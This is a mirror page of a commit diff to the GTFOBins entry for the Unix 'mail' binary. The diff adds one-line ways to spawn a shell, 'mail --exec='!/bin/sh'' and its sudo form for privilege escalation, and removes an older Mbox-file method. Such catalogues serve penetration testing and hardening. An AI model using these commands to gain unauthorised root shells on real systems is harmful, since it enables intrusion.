mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
parent
2650be9c68
commit
dd9f4269ed
@ -1,6 +1,8 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- description: GNU version only.
|
||||
code: mail --exec='!/bin/sh'
|
||||
- description: This creates a valid Mbox file which may be required by the binary.
|
||||
code: |
|
||||
TF=$(mktemp)
|
||||
@ -8,10 +10,6 @@ functions:
|
||||
mail -f $TF
|
||||
!/bin/sh
|
||||
sudo:
|
||||
- description: This creates a valid Mbox file which may be required by the binary.
|
||||
code: |
|
||||
TF=$(mktemp)
|
||||
echo "From nobody@localhost $(date)" > $TF
|
||||
sudo mail -f $TF
|
||||
!/bin/sh
|
||||
- description: GNU version only.
|
||||
code: sudo mail --exec='!/bin/sh'
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user